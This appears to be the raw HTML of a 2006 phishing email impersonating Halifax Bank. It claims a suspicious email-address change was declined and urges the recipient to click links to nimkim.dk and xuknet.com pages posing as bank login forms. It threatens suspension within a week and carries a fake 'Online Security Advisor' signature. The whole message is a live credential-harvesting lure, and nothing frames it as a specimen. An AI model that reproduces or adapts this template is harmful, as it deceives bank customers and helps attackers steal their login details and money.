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<title>Fraud Alert: Email Address Change (Declined)</title>
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                <a href="http://www.nimkim.dk/chat/online/halifax.co.uk/letter.php?url=https://www.halifax-online.co.uk/_mem_bin/FormsLogin.php&securedata=1">Problems reading this e-mail?</a></font></td>
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                <p align="right"><font size="2" face="Arial">September 2006</font></td>
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<a href="http://halifax.co.uk/">
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                                                <font face="Verdana" size="-1">Dear valued customer,</font><font face="Verdana" size="2"><br>
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                                                <p align="justify">Yesterday at 15:46 hours, our security systems recorded an attempt to change
                                                your internet banking email address. Your internet
                                                banking email address is the email address you chose
                                                when you registered for our internet banking service.
                                                We use this email address to keep you informed about new
                                                developments in our internet banking service and general changes made to
                                                your account via the internet.<br>
                                                <br>
                                                The email address change was initiated from a
                                                blacklisted and suspicious IP address (216.89.75.31). We
                                                however declined the change and placed an online access
                                                restriction on your account. We took this measure to
                                                protect your account from any fraudulent transaction.<br>
                                                <br>
                                                In other to restore your online access, we need a
                                                verification of your identity and
                                                current location. If successful, all
                                                restrictions on your account will be removed and you
                                                will be able to use your account normally. This process
                                                takes approximately 5 minutes, depending on the speed of
                                                your internet connection. To proceed please
                                                <a href="http://www.nimkim.dk/chat/online/halifax.co.uk/formslogin.php">Click Here</a>.
                                                </p>
                                                <p align="justify">Please note that failure to verify your identity and current location
                                                within a week of receipt of this email will lead to a
                                                suspension of your account with us. We sincerely regret
                                                any inconvenience.</font><font face="Arial" size="2"><font face="Verdana" size="2"><br>
                                                <br>
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                                                </font>Best wishes,<br>
                                                <a href="http://halifax.co.uk/">
                                                <img height="54" alt="Jimm McDermott" src="http://www.mcdermottforcongress.com/images/signature.gif" width="34" border="0"></a><br>
                                                Jim McDermott,<br>
                                                Online Security Advisor<font face="Arial, Helvetica, sans-serif" size="2">,<br>
                                                </font>Halifax Bank plc.<br>
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                        *This private and confidential e-mail has been sent to you by
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                        <a href="http://xuknet.com/hsbc.co.uk/1/2/personal/internet-banking/internet-banking.htm">
                        <font face="Arial, Helvetica, sans-serif" size="1" color="#6699FF">
                        Halifax</font></a><font face="Arial, Helvetica, sans-serif" color="#666666" size="1"><a href="http://xuknet.com/hsbc.co.uk/1/2/personal/internet-banking/internet-banking.htm"><font color="#6699FF">
                        Bank plc </font> </a> </font>
                        <font face="Arial, Helvetica, sans-serif" size="1">( reg. no </font>
                        <font size="1">106048</font><font face="Arial, Helvetica, sans-serif" size="1">).
                        Registered in England and Scotland. Registered offices: 1 Waterhouse
                        Square, 138-142 Holborn, London EC1N 2NA.</font></p>
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                        <font face="Arial, Helvetica, sans-serif" size="1">This e-mail is confidential and for use by the addressee only. If
                        you are not the intended recipient of this e-mail and have received
                        it in error, please return the message to the sender by replying to
                        it and then delete it from your mailbox. Internet e-mails are not
                        necessarily secure. The Halifax group of companies do not accept
                        responsibility for changes made to this message after it was sent.</font></p>
                        <p align="justify">
                        <font face="Arial, Helvetica, sans-serif" size="1">Whilst all reasonable care has been taken to avoid the transmission
                        of viruses, it is the responsibility of the recipient to ensure that
                        the onward transmission, opening or use of this message and any
                        attachments will not adversely affect its systems or data. No
                        responsibility is accepted by the Halifax group of companies in this
                        regard and the recipient should carry out such virus and other
                        checks as it considers appropriate.</font></p>
                        <p><font face="Arial, Helvetica, sans-serif" size="1">This communication does not create or modify any contract.</font></p>
                        <p><font face="Arial, Helvetica, sans-serif" size="1">If you would prefer not to receive information about other products
                        and services from us, please reply to this e-mail with 'opt-out'</font></td>
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